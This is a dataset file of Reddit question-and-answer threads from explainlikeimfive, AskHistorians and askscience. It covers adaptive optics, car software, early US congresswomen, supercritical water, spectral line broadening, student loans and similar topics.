{"q_id": "7nnhby", "title": "how do adaptive optics know how to correct for atmospheric distortion and give us hubble-quality images from a telescope on the ground?", "selftext": "The atmosphere is always changing (why stars flicker), so how can AO correct for that in realtime?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7nnhby/eli5_how_do_adaptive_optics_know_how_to_correct/", "answers": {"a_id": ["ds31wd3", "ds3axij", "ds3f3q6", "ds3g9kf", "ds3hto6", "ds3kpri", "ds3nir8", "ds3r4sa", "ds408d1", "ds4dgeg"], "score": [1111, 44, 193, 29, 4, 3, 4, 6, 3, 2], "text": ["the simple version is that they shine a laser UP, and watch for it's reflection/refraction in the air. \n\nthen, they apply the opposite of that reflection to the image they record, and end up with a pretty clear image.  \n\n\nsomeone will likely give a more detailed answer, but that's the simple version.  \n", "The adaptive optics system I have worked with is designed for a solar telescope and works basically like this. \n\nAn image is taken (really many that are averaged) to use as a reference to match corrections to. \n\nThen a grid of pinholes are used to get multiple images from across the lens area. Each pinhole image is matched against the reference image to find how far that area of the lens is deflected by the atmosphere. \n\nThis data is fed to a mirror that has many surfaces that can be deformed to reflect the light that hits just that area.\n\nI'm leaving out many details so it's ELI5.", "First, there's the basic concept: the atmosphere distorts the light in the same way that a rippling surface of water will distort what's beneath. If you can physically distort a mirror such that it cancels out those ripples, you get a vastly sharper image at the imager. \n\nYou can figure out the distortions that are present by looking at how a point source such as a star is distorting. Most targets are \"faint and fuzzy\" and require very long exposures for enough photons to collect in the pixel sensors to produce data. So you cannot generally use the target as the point source. If there happens to be a natural star that's close to the target in the field-of-view, you can do AO on that. (\"Natural Guide Star\" NGS.) \n\nBut since the FOV is quite small, often AO involves shooting a laser into the sky. There is a layer in the atmosphere about 90Km up that is rich in sodium atoms. A laser that produces a 589nm light (a shade of yellow) at about 15-20W (which is a lot!) is directed into the sky alongside the target.  Traditionally, these have been single point-source but a new generation of \"multi-conjugate\" AO systems are coming online that have multiple lasers (the artificial guide stars they produce look like the \"5\" pattern on a 6-sided die). \n\nSo these \"artificial guide star(s)\" are your point-source that are rippling according to the atmosphere. You insert a small pick-off mirror into the light path and direct the AGS image into a \"wavefront sensor\" (WFS). I'm going to hand-wave a little and just say \"this measures the ripples / distortion and calculates the necessary corrections at about 1000 times per second.\" (/u/tatsuling does a good job explaining this in his answer.) \n\nThe corrections are sent to a \"deformable mirror\" that is downstream in the light path. The deformable mirror corrects the distortions and bounces the light into the instrument. (Fun fact: pretty much _all_ the mirrors in the instrument are deformed at various frequencies to correct for gravity, vibration, etc. They're really amazing dynamic systems.) \n\nHow good is AO? Gemini Observatory's multiple-lasers GeMS instrument can produce \"angular resolution (the size of the smallest detail that can be resolved) of 0.04 to 0.06 arcsecond over a field of 85 arcseconds squared, which significantly beats the typical resolution in \"seeing\" limited (non-AO) conditions of 0.5 arcsecond at good astronomical sites.\" \n\nP.S. If you've returned some of your Christmas gifts for credit, you can buy yourself a kit: _URL_0_", "The key to understanding adaptive optics is a device called a Shack-Hartmann. Search Wikipedia for it to see a diagram. It's basically a special lens that works like an insect eye: splitting the view into hundreds of little images. \n\nOther posters already mentioned the laser guidestar which gives the Shack-Hartmann a simple dot to look at. If there were no distortions, the insect lens would just see 100 images with the laser dot in the middle. Instead if there are distortions, the dot won't be in the middle of each image - and that's how you measure how much adapting your adaptive optics have to do.\n\nThe total atmospheric aberration can be summarized as a \"tilt\" offset at each point in an image. So the Shack-Hartmann can measure how much the dot is away from the center in each of the little images produced by the insect eye lens.\n\nNow that we know the quantity of the distortion measured at each point in the image, it's up to a deformable mirror to make the correction. The deformable mirror is just a regular mirror with a bunch of motors behind it, so tiny adjustments can be made to it - essentially creating a warped funhouse mirror.\n\nFor each point where the Shack-Hartmann measured a deflection of the laser dot, the mirror deflects a corresponding correction. This results in a clear image! ", "Adaptive Optics are based on feedback control which uses real time measurements. You have array sensors which measure real time wave deformation thus being able to estimate a shape function. The mirror in the optics system can then be shaped to flatten the anomalies ", "a laser illuminates a patch of sky and the reflected light is collected by a special type of sensor/camera. this special camera instead of a single lens has an array of small lenslets in front of it. \n\nNow, the atmosphere is doing a combination of two things to any given point of light such as a star. it is deflecting its position, and it is changing its shape. we call this combined effect the point spread function which is just a function to describe the current distortion. the atmosphere is also doing this at a rate of about 50hz ( 50 times a second). \n\nso our special camera has to give a snapshot of what the laser tested and do it more than 50 times each second. because we use a combination of fast photodiodes and those lenslet arrays we talked about, can reach this detection speed but also sensitive to a pixellated (because of the lenslets) version of the distorted PHASE of the light-field. the phase of a light beam just tells you at which point in its oscillation its at. two light rays of pi/2 phase difference would be completely out of phase with each other etc. this pixellated phase map looks like a distorted flat square wih bumps and valleys.  this phase map almost perfectly (compromised by the pixellation of the lenslets) describes what the atmosphere is doing to any point of light travelling through it. \n\nhowever now we know what its doing , how do we actually correct for it? well in larger telescopes you dont have a single large mirror, instead, you have many small sections which can be moved by solenoids up or down. this means your 'mirror' is deformable. you basically create the inverse set of bumps and valleys in your deformable mirror to undo the 'damage' the atmosphere has done at that point in time. \n\nsmaller deformable mirrors exist where instead of segments you have a malleable membrane with actuators underneath it which deform it. the high powered gold coated versions of these are coming out next year which gets this geek excited because thats relevant to my field in high power laser  physics!\n\ntldr: you sample how the atmosphere is mucking up your patch of sky, you undo this with a deformable mirror , undoing the 'damage'\n\nextra cool protip. you dont need a million dollar telescope to do atmospheric correction. well you do, but you can sort of cheese the same effect with any fast astronomical ccd or even a good dslr which can record say at 20hz or better. its called lucky imaging and you basically record something bright like a planet for a decently long time at a fast frame rate. you then use some cool free software like registax which will calculate which frames show the least atmospheric distortion 'by chance' and stack those for a better picture. basically, sometimes the atmosphere wont muck up the image so much, just by luck and if your good, you can catch just those frames which improves your overall image quality.", "There are many different types of adaptive optics systems but they all have a few things in common.\n\n1. They use a reference.  This could be a natural, bright star or an artificial, laser-created point of light.  What the atmosphere does is to spread out this light, so the star looks like a blob in an uncorrected system.  The \u201ccorrections\u201d are made until this reference or \u201cguide\u201d star is a point again.  \n\n2. They have some tunable/moving parts.  Big AO telescopes will often have individual mirrors that can be tilted and moved.  These are the knobs that we use to \u201ccorrect\u201d or compensate the atmosphere.  \n\n3. They are fast.  Over a few milliseconds the atmosphere is frozen.  But that means during that time (before the atmosphere has changed too much), we need to take a picture of our reference star, move the mirrors, take another picture, compare, move the mirrors again, etc, until we have found a good enough correction.  Then we need to take an exposure of our science object (the thing we are actually trying to observe).  Usually these objects are super faint, so we need to do this procedure many times (correct, expose, correct, expose...) until we have enough light.\n\n4. They are highly directional.  If we use only a single reference point, only the area immediately around this reference point will be compensated.  If you look further away you\u2019re looking through a different enough column of air that your correction does not apply.  This maximum angle you can see away from your reference is called the isoplanatic angle and it\u2019s usually only a few seconds of arc.  A second of arc is extremely small to our eyes.  The moon is about 30 arcminutes across, or 2000 arcseconds almost.  This is one of the most major limitations of adaptive optics systems.\n", "Man this is the first time I saw an ELI5 question that took me a second and made me think about creating r/askthequestionlikeIm5 \n\nIn all seriousness though this is a fascinating subject ", "Something about your question makes me think you could handle an older than 5 answer...laughing out loud...", "Google for Zernike polynomials as well. I've wrote my master's thesis about an application of the Bouc-Wen model to describe the hysteretic behavior in actuators used for AO mirrors "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.thorlabs.com/newgrouppage9.cfm?objectgroup_id=3208"], [], [], [], [], [], [], []]}
{"q_id": "3vlh2l", "title": "why is car software so goddamn large?", "selftext": "I read that car software is usually about 100 million lines of code compared to windows 7 being made of about 40 million. What exactly is the software in a car for?\n\nEDIT: [Source](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3vlh2l/eli5_why_is_car_software_so_goddamn_large/", "answers": {"a_id": ["cxoilso", "cxoipdg", "cxose4h"], "score": [4, 8, 7], "text": ["It might have something to do with OBD (on-board diagnostics) having to check several parameters thousands of times per second, without crashing or slowing down, while booting instantly and functioning in temperature extremes, constant vibration, dust, and moisture which requires a lot of redundancy.\n\nbut that's just a guess.", "The number of lines of code isn't a great way to measure the size, complexity or breadth of a bit of software. Different languages can require different numbers of lines to achieve the same thing.\n\nAlso ask two developers to do the same thing in the *same* language and you'll get a different number count at the end.", "It can't break. How often does windows 7 freeze, crash, go slow?  In a car, this all can be fatal. So redundancies are made and checks/tests are run on every possible parameter. Most aviation software is also huge. It needs to be redundant. \n"]}, "title_urls": [], "selftext_urls": ["http://www.informationisbeautiful.net/visualizations/million-lines-of-code/"], "answers_urls": [[], [], []]}
{"q_id": "61b8r5", "title": "In 1917 Jeanette Rankin was elected to Congress, before women could vote in many states. What were some of the reactions by her fellow representatives? How was she treated in the House?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/61b8r5/in_1917_jeanette_rankin_was_elected_to_congress/", "answers": {"a_id": ["dfdzjie"], "score": [66], "text": ["She was given a great deal of attention in her first days in the House, receiving three standing ovations by her colleges on the first day of the new Congress (one for entering the chamber, one of answering the roll call and one for voting for Speaker). On her first important vote, on US entry in WW1, she was given direct advice on how to vote by Republican Big Beast and former Speaker Joe Cannon, who told her *\u201cLittle woman, you can\u2019t afford not to vote.  You represent the womanhood of the country in the American Congress.  I shall not advise you to how to vote, but you should vote one way or another- as your conscience dictates.\u201d* when it looked like she might abstain. \n\nSources:\nBisbee Daily Review/1917/04/04/\nWilson, A. Scott Berg\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "e8g9t2", "title": "Why is Supercritical Water Non-Polar?", "selftext": "Edit and Answer Based off the Comments:\n\nThe individual molecules of water in SCW are still polar. However, in bulk, SCW behaves as if it is non-polar. This is likely (not 100% certain) because with the increased kinetic energy of the molecules, the effect of hydrogen bonding is weakened. Furthermore, the molecules may conglomerate in ways that cancel out the individual molecules' dipoles.  Ultimately though, there is still more research needed on this topic. \n\nThank you to everyone who answered and commented. I really appreciate it. Happy Holidays!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/e8g9t2/why_is_supercritical_water_nonpolar/", "answers": {"a_id": ["facca9l", "facgump", "facrqqu"], "score": [104, 665, 30], "text": ["\u201cHowever, it is such an excellent solvent for non-polar molecules, due to its low relative permittivity (dielectric constant) and poor hydrogen-bonding, that many are completely miscible [3765].\u201d\n\n\n_URL_0_", "The answer is simple. It's not non-polar.\n\nI'm guessing you or somebody who told you got the idea from the fact that you can use the supercritical state of water to dry things without the capillary pressure destroying their fine structure. The water doesn't become non-polar, but it does stop sticking to itself in the same way it usually does when it's a liquid. As you decrease the pressure it becomes less dense and more like a gas until finally it is gas. This process is used for making [aerogel](_URL_0_).", "Gaseous molecules are capable of fewer hydrogen bonds, which is the thing that separates liquid water from vapor in the first place. There are 3.4-3.6 hydrogen bonds per atom (i think its per atom. it may be per something else) in liquid water, 4 (maximum) in solid water, and presumably a statistical average nearer to zero in gaseous water. Supercritical fluid provides enough kinetic energy to disallow the formation of hydrogen bonds, and enough pressure to keep the molecules close together. Thus the entropic effect (the formation of the clathrate cage, or however you spell it) that keeps nonpolar substances from dissolving in water is negated.\n\nThis is my thought. Chemist.\n\nEdit: Per molecule... obviously. I'm not drunk. You're drunk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www1.lsbu.ac.uk/water/supercritical_water.html"], ["https://en.wikipedia.org/wiki/Aerogel"], []]}
{"q_id": "7g0x3y", "title": "In 1907 Ellis Island saw its highest number of immigrants in 15 years with 1,004,756 people. The next year that number was effectively halved. Why did 1907 have such a high number, and why did it suddenly drop off in 1908?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7g0x3y/in_1907_ellis_island_saw_its_highest_number_of/", "answers": {"a_id": ["dqgz8os"], "score": [30], "text": ["The end of 1907 is also the time when the 'Immigration Act of 1907' was passed, one of the first major legislation that in fact 'regulated' immigration and codified 'requirements for entering the US.' According to the act, notable number of immigrants who are deemed 'diseased and disabled' are barred from entering. To enforce this, medical examination and a codified set of interview questions were established.\n\nBut this act also caused other reasons to barr immigrants. If an immigrant cannot answer the question, or answer it in an unacceptable way, they are automatically barred and forced back without further conversation. For example, if a women cannot tell how she will gain an income in the US, who she will live with, etc., then she can be barred from entering under the pretense of 'potential prostitute.' Asian immigrants were further scrutinize as now they must understand english to answer the questions. \n\nSo, this is why the numbers halved so suddenly in 1908."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cmz41y", "title": "why is \u201cmanspreading\u201d considered rude or sexist?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cmz41y/eli5_why_is_manspreading_considered_rude_or_sexist/", "answers": {"a_id": ["ew5ngph", "ew5o266", "ew5oqez", "ew5peyu", "ew5pvgp"], "score": [16, 7, 2, 6, 2], "text": ["For me, as a female, by doing that it takes up more room. The only times I've been annoyed by it was in a situation where everyone is sitting close together. I'm \"expected\" to cross my legs to let the other person have more room. This is not only a Male thing, plenty of women have pissed me off by placing bags between their legs causing the same situation. I just want my fair share of leg room.", "For the posture part:\n\nIf you sit straight on your buttocks, then there is no reason for spreading your legs to sit more comfortable.\n\nIf you sit/lay on your lower back, then it is easier to sit with your legs spread.\n\nFor the social part:\n\nYou are sitting next to others, please share the space equally. If moving to a better posture helps this, then it's not only good for everybody else but also for you.\n\nFor the sexist part:\n\nIf you expect members of the opposite sex to sit different just because you cannot be bothered to sit a normal posture, that is the sexist part.", "I take public transportation and this is a daily occurrence. I\u2019m uncomfortable because now I have to make myself smaller, to take up less space in an already small setting to accommodate your legs which are in fact encroaching on my leg/seat space. It pushes me out into the walk way so not only am I making myself smaller for your comfortability but now smaller so no one bumps into me in the walkway as they are trying to exit. \n\nWomen and those who identify as women and/or outside of the male role are already taught and encouraged to be smaller and less worthy. Adding the physical manspreading and taking up my space to make me smaller makes it feel sexist even if it\u2019s not intended to be, unaware of this issue and rude.", "Am female. Honestly don\u2019t care about \u201cmanspreading\u201d unless everyone\u2019s sitting packed like sardines. Then, you\u2019re just taking up a ton of space for yourself at the expense of packing everyone else in tighter. I wouldn\u2019t call that instance of \u201cmanspreading\u201d sexist, just rude because it inconveniences everyone else there for your own gain. Even in this context, spreading a bit because of the anatomy reasons you explained is fine with me, as long as you don\u2019t spread enough to invade everyone else\u2019s space.", "I can understand it in tight quarters or shared space. Aside from that it\u2019s just pettiness."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1n9b6r", "title": "Is there any evidence of a civilization conquering another and then completely dismantling their settlement/city and hauling it away, erasing it from history?", "selftext": "I cannot think of a more sinister thing to do than removing all physical traces of a once-great city, making the land look untouched as if no one had ever been there.\n\nIs there any evidence of this being done before?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1n9b6r/is_there_any_evidence_of_a_civilization/", "answers": {"a_id": ["ccgj5jj", "ccgjdwm", "ccgl05s"], "score": [12, 17, 5], "text": ["This is a very interesting question. When Nazi Germany invaded what is now Ukraine (Galicia and some parts of Poland), German and local authorities worked to remove not only Galician Jewry, but also the last vestiges of Jewish society, including monuments, buildings, and street signs. In his book, *Erased: Vanishing Traces of Jewish Galicia in Present-day Ukraine* (Princeton University Press, 2007), Omer Bartov examines the degree to which local and German officials went to uproot Jewish settlements in the region. \n\nFor example, one of the oldest Jewish cemeteries in the town of L'viv (Lemberg) was completely destroyed. Following the war, the town established an open-air market on the very site used to inter members of the Jewish community, effectively erasing any sign of the town's Jewish past.\n\nThere are many other examples of this taking place during the Second World War, and, if you are interest, I think Bartov's book provides profound insight into how the Nazi regime worked in concert with local officials to dismantle certain communities and the ways in which they sought to influence (and imagined) the future of Europe.", "Hello! Allow me to preemptively address something that is *not* an example: Rome's destruction of Carthage in 146 B.C. To be sure, the Romans did level the city to the ground following a brutal, three-year siege, while the 50,000 civilians who survived the ordeal were apparently sold straight into slavery. On the other hand, the Romans did not salt the earth upon the which Carthage stood (despite popular misconception) and eventually established another Carthage on the same land. They spared the city's main library as well, distributing its contents to the Numidian kings and even translating one work (the agricultural handbook of Mago) into Latin. Most importantly, Carthaginian civilization, which had spread well beyond the confines of Carthage proper, continued to flourish throughout North Africa centuries afterward. If you're interested, [I've discussed this survival in a little more detail in another post](_URL_0_). Just trying to avoid a potentially lengthy rebuttal! :P", "Very difficult question, but I like it.  It is initially hard to respond because if there was no evidence of it in history, we would be unable to prove that the civilization ever existed.  So, I will assume that you will allow some freedom in terms of \"erasing it from history.\" \n\n The closest example that includes a purposeful intent to rebuke the previous civilization and includes conquering(albeit it is debated whether it was a violent conquer.  But the migrators were known for their chariot skill) is the Indo-Aryan migration that has been correlated with the decline of the Indus Valley Civilization.  The biggest problem is that historians have not come to a complete conclusion on the Indus Valley Civilization's decline and when the Indo-Aryan migration took place or whether it was initially violent.  \n\nAll that could be said definitively is that a people called the \"Aryas\" or \"Aryans\" migrated into the Northern Punjab and made measures to demean and degrade the religion/culture of the indigenous people.  The indigenous people before had a very complex urban civilization with controls of weight and measurement standardization, a \"government\" of sorts, and a complex religion.  The Aryas successfully erased Harappa until 1920s and even many of the technologies that were unique to the cities and civilization in general were forgotten. Many historians have successfully argued that there are traces within Vedic and Hindu religion of the Harappan (Indus Valley CivilizatioN) people due to particular gods and beliefs, however the majority of their religion was considered Anarya which meant *non-arya.*  \n\nI know this does not necessarily fit the criteria, but it is interesting nonetheless that an entirely complex civilization, Indus-Valley, were erased from history for quite a while and little information outside of their cities remains of them.      "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/comments/1j7mz5/what_were_the_factors_that_lead_to_rome/cbccsag"], []]}
{"q_id": "2las41", "title": "Where is a good place to get (relatively) unbiased information about the Nizari Ismailis (Order of Assassins) during the Crusades?", "selftext": "I'm trying to find information about the ideals, lifestyle, and practices of the Order of Assassins, but a lot of what I'm turning up seems to be completely biased.  Any good sources I should turn to?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2las41/where_is_a_good_place_to_get_relatively_unbiased/", "answers": {"a_id": ["clt58sm", "cltkh4e"], "score": [4, 3], "text": ["I'm a British historian, so they aren't my specialty, but I did a project on the Assassins for an undergraduate seminar. Here's some of the highlights from my bibliography to get you started-\n\nBartlett, W.B. The Assassins; The Story of Medieval Islam\u2019s Secret Sect. United Kingdom: Sutton Publishing Ltd, 2001\n\nDaftary, Farhad. The Assassin Legends; Myths of the Isma\u2019ilis. New York: I.B Tauris  &  Co. Ltd. Publishers, 2001\n\nLewis, Bernard. \u201cThe Sources for the History of the Syrian Assassins.\u201d Speculum, Vol. 27, No. 4 (Oct, 1952), pp. 475-489\n\nNowell, Charles E. \u201cThe Old Man of the Mountain\u201d. Speculum, Vol. 22, No. 4 (Oct, 1947), pp. 497-519\n\nWood, Juliette. \u201cThe Old Man of the Mountain in Medieval Folklore\u201d. Folklore, Vol. 99, No 1 (1988), pp78-87\n\nImad ad-Din, Ibn al-Athir, and Manaqib Rashid ad-Din.\u201cThe Assassination of Conrad of Montferrat.\u201d in Arab Historians of the Crusades. Trans, Francesco Gabrieli. University of California Press: Los Angeles, 1969\n\nDaftary is a large name who has written extensively on the topic, I recommend searching for some of his other works. \n\nIn terms of the issue of bias in your sources, this is something you're going to have to work through. The \"Assassins\" were a group which was widely misunderstood by both Christians and Muslims at the time, and also very quickly passed into the realm of mythology (Wood covers this). Unfortunately, most if not all of the primary sources we have for them are through the perspectives of outsiders.     \n\nIts a very fascinating topic though, and definitely something I would love to have the chance to return to someday. Best of luck in your research! \n", "I asked a similar question from a poster on here a little while back with a great list of books, none of which I've had time to read unfortunately. For the sake of completeness I'll provide a link to the original discussion below and you can see if it's of any value to you. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/comments/2bi5nv/has_anyone_tried_writing_to_their_favorite/cj5mhbl"]]}
{"q_id": "2jvxx5", "title": "Why are absorption lines not lines?", "selftext": "It seems that in every absorption spectrum you come across, you come across many as a physics undergrad, the spectral absorption 'lines' are not lines at all but sharp curves. What I mean by this is that they are finitely wide- (for example the solar spectrum - _URL_0_) - whilst the energy required to promote an electron in an atom is supposed to be only one exact value. Which would make you think that the absorption should be at one wavelength and have no uncertainty in it, ie infinitesimal thickness to the absorption line. Can anyone explain why this would be the case? I have been playing around with the idea that some dopler shift may be the involved but I can't resolve it.\nHELP ME SCIENCE!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2jvxx5/why_are_absorption_lines_not_lines/", "answers": {"a_id": ["clfjqir", "clfo9g6", "clfpihp", "clfsp0c", "clfttob", "clfvsda", "clfxa8v", "clgfcvt"], "score": [221, 13, 7, 3, 2, 21, 2, 2], "text": ["There are many different sources of line broadening. The must fundamental limit is lifetime broadening: since an atom does not remain arbitrarily long in an excited state, the uncertainty principle, or if you prefer the Fourier relationship, guarantees that the line will have a finite width. \n\nOtherwise, any interaction may cause an increase in line width of the order of the transition frequency associated with the interaction. Examples for this are dipolar broadening, unresolved fine structure (Lamb shift and such), hyperfine structure, etc. You are also correct in that Doppler broadening can be important.\n\nVery stable transitions are actually hard to get and a lot of effort is expended into having as sharp as possible transitions for use in atomic clocks or laser systems.\n\nThe eigenvalues of a composite quantum system are not \"supposed to be\" a single exact frequency. That is an approximation that is often made, but it's not how you should generally think about things.", "Broad absorptions for H2O are normally due to hydrogen bonding. Since in water droplets there are a large number of water molecules stuck together by hydrogen bonding, the bond strengths and vibrational frequencies are going to vary depending on the exact angle and distance between two neighbouring water molecules. In IR Spectrum of samples in solution, hydrogen bonding with the solvent is normally the biggest factor affecting absorption width. I don't know if the same applies to atmospheric chemistry, but I assume water droplets would exhibit the same effect.\n\nAs other people have said, broad lines due to elemental absorption in the sun is down to thermal Doppler shift as the largest factor, since some of the atoms are moving away or towards you at any given moment, the result is a spread of frequencies absorbed.", " > whilst the energy required to promote an electron in an atom is supposed to be only one exact value.\n\nThis is what Terry Pratchett called a ''lie to children.''  The original atomic models of Bohr had a nice easy relationship between orbital jump and photon energy but quantum physics is a lot messier than that.  Bohr's model was good and was a start in the right direction but the details make it a lot more complicated.\n\nAlso as mentioned solid state physics means the energy levels in atoms and materials can start to blend and become quite wide, therefore causing photons of a range of energies to be absorbed.", "OK now you got me thinking.  If it were an EXACT line on an absorption spectrum- 486.22193042947872398472349233419... nm, for example- statistically speaking, it would absorb nothing from a continuous spectrum because unless advances in physics starts breaking down our understanding into \"there's a finite resolution to these wavelengths\" then the probability of finding a wavelength at that *exact* number approaches zero as the number's precision becomes infinite.  \n\nIf the absorption line is a true line, it has zero width, thus no actual volume across the absorption spectrum.\n\nEmission lines, it's entirely possible to emit only a single, exact wavelength, an emission line with no width.", "I don't know if this is a complete answer, but it is at least part of the picture:\n\nYou said 'the energy required to promote an electron is supposed to be only one exact value'. The thing is, absorption can have other affects too, such as making the molecule wiggle and vibrate in certain ways. These types of interactions will absorb radiation according to rules which will be affected by the chemistry of the system the molecule is in.\n\nAs an example, lets consider water (a big 'absorber' in the spectrum you provided). Each water molecule has the potential to H-bond to many other water molecules around it, and its energy state would change according to how many other water molecules it is bound to. This in turn would shift the absorption wavelength ever so slightly. \n\nNuclear isotopes could also affect this. 'Heavy water' that contains deuterium instead of hydrogen would have a slightly different absorption spectrum (if I remember correctly, it would absorb a shorter wavelength radiation, as the molecule is heavier and thus takes more energy to excite and vibrate). ", "Couple of different reasons:\n\n1. Excitation lifetime. This gives the fundamental width. If the excitation is instantaneous and the atoms and observer are perfectly still in relation to each other, then it's a dirac delta.\n\n1. Doppler shift due to thermal motion.\n\n1. Doppler shift due to flux/turbulence/flow.\n\n1. Vibrational absorption and relaxation. When a molecule vibrates, its shape is deformed and so are the orbitals. Which means their energy is also different. They can be only slightly different, which translates into peak broadening. The absorption can happen any time during the vibration and relaxation isn't significantly inhibited and further changes in electronic structure aren't drastic enough to change the vibrational behaviour significantly.\n\n1. Fine and Hyperfine structure, which is an energy splitting brought about by the interaction of the electron's magnetic moments with their orbital angular momenta (fine structure); and the interaction between nuclear dipole and quadrupole moments and the magnetic field generated by the electrons.\n\n1. Vibronic structure. Which is basically how the electronic structure is related to vibrations. Similar to 4 but in this case it's when absorption happens at a particular point of the vibration (when a previously inexistent electronic transition can happen). This leads to previously inaccessible vibrational modes and a significantly different electronic structure. This often results in more peaks rather than a true broadening.\n\n1. Intermolecular interactions. Hydrogen bonds, london dispersion forces, crystal fields, dimers, trimers, oligomers, azeotropes. They all change the molecule's energy, so they have an effect on their orbital energy, leading to different absorption frequencies that are not too different to one another, collectively observed as a broadening.", "There's one other source that others haven't covered yet: doppler broadening from rotation. One side of the sun is rotating away from us and one side is rotating towards us.", "First of all, you are not linking an absorption spectrum of a chemical compound but an emission spectrum of a blackbody like object.\n\nShape of chemicals absorption depends mostly on the solvent:\n\n_URL_0_\n\nGasses at low temperature (to limit doppler's effect) are even more lines than the image I linked. They are, in fact, almost perfect lines.\n\nYes, at this point doppler and uncertainty will still give you a minor degree of error, but tbh, hardly noticeable.\n\nWhat makes most of the absorption spectra you see curves and not lines is simply the solvent that changes the electronic levels of the molecule you are studying. Every molecule has a different enviroment so slightly different energy levels thus the absorption spectrum takes the shape of a curve."]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/commons/4/4c/Solar_Spectrum.png"], "answers_urls": [[], [], [], [], [], [], [], ["http://images.slideplayer.us/7/1674325/slides/slide_54.jpg"]]}
{"q_id": "77g49i", "title": "refinancing student loan debt", "selftext": "Is it worth it? Why do it? Negative Consequences for doing it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/77g49i/eli5_refinancing_student_loan_debt/", "answers": {"a_id": ["doljlj8", "dolm7in"], "score": [6, 2], "text": ["Refinancing *any* debt is basically the same:\n\n1) You have a loan at some interest rate. This causes you to make $X monthly payments over the course of, say, 5 years (60 months).\n\n2) You can *get* a loan at some smaller rate, *or* a longer term (or both!). Either one of these has the effect of reducing your monthly payment, and just reducing the rate has the effect of meaning you pay less money overall over the course of your loan.\n\nThere really aren't any negative consequences. Being able to refinance is a good thing. However, if you *apply* for refinancing and don't get it, that's a hit to your credit score. ", "Student Loan debt is very highly regulated, because the government has an interest in an educated workforce.  Some loans can only be refinanced certain ways, or you may only have one opportunity to refinance.  Since you're the collateral, this can get messy and these debts aren't subject to bankruptcy.\n\nCheck all the details before you act.  Federal student loans are a very different thingy than private student loans.  USNews did [a very interesting story last year](_URL_0_ )."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.usnews.com/education/blogs/student-loan-ranger/2015/04/29/4-things-to-think-about-when-refinancing-student-loans"]]}
{"q_id": "1hv1dg", "title": "Would anyone be able to give me guidance on applying for a History Degree in the UK with a non-typical entry route?", "selftext": "Thanks for looking, I inquired with a Mod beforehand to make sure these posts are accepted in the subreddit and they gave me the go-ahead so here goes!\n\n I am looking to apply for a History degree in the UK, starting in the 2014 academic year. My problem is I don't have A levels. I do however have a A Level equivalents (BTEC Extended Level 3 in Music). I am awaiting the results of the course as I only just finished a few weeks back. The grades I am likely to end up with are: Distinction, Distinction, Merit (Equivalent to ABB, giving me 320 UCAS points)\n\n I have applied and been accepted onto a degree from Salford University studying 'Studio Production and Interactive Music' starting in the 2013 academic year but I am going to decline the course after I receive my results to re-apply through UCAS for a history Degree.\n\n I have some 'reasonable' GCSE's to back up an application from an academic standpoint, with an A in History (I was a few marks of the A*, but I wasn't one for doing any work outside of lessons or revision for any exams). Aswell as this I have 3 other A's at GCSE and 7 B's. \n\n The degrees I would be interested in are: Ancient History, Medieval History, Archaeology or any mixture of the 3.\n\n What Universities in the UK are good to study these degrees, and that would accept me as an applicant. I know I not going to be getting in to Ox-Bridge, but I would love to maybe get into a Russell group Uni.\n\n Also I have been looking into studying a fast track A-level in the year I will have until the course starts to help boost my application. Would this give me much more of an advantage, or would my time be spent better getting a full time job for the year to get some money together?\n\n Thanks /r/AskHistorians!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hv1dg/would_anyone_be_able_to_give_me_guidance_on/", "answers": {"a_id": ["cay8cwc", "cayeobp"], "score": [5, 2], "text": ["I'm a lecturer in the English and History department at Edge Hill University - not too far away from Salford (in fact I'm in Salford right now!). We run a 6-week fast track course during the summer for students in exactly your position. It's an intensive course, but it's good preparation for the degree and is much faster than doing a full access course (which you probably wouldn't need, given your pre-existing qualifications). It's already finished for this year, but I suspect something similar will be happening next summer. If you're keen to start this September, it might still be worth seeing whether you can enter the clearing process - if we got a call from somebody in your position we'd be likely to accept you onto the course. I'm just not sure how UCAS administers the process.\n\nI should point out, however, that our degree programme focuses predominantly on modern history (though we're looking to expand our medieval coverage). We're also lower in the main league tables than Russell Group Uni's, though we usually out perform them on student satisfaction and employability. If you want to aim for a Russell Group, you'd probably need to get some kind of history qualification first, though it'd be worth going along to one of their open days ASAP and talking to somebody from admissions.", "You may also find it useful to post this to /r/AskAcademia, they can be very helpful with matters such as these."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
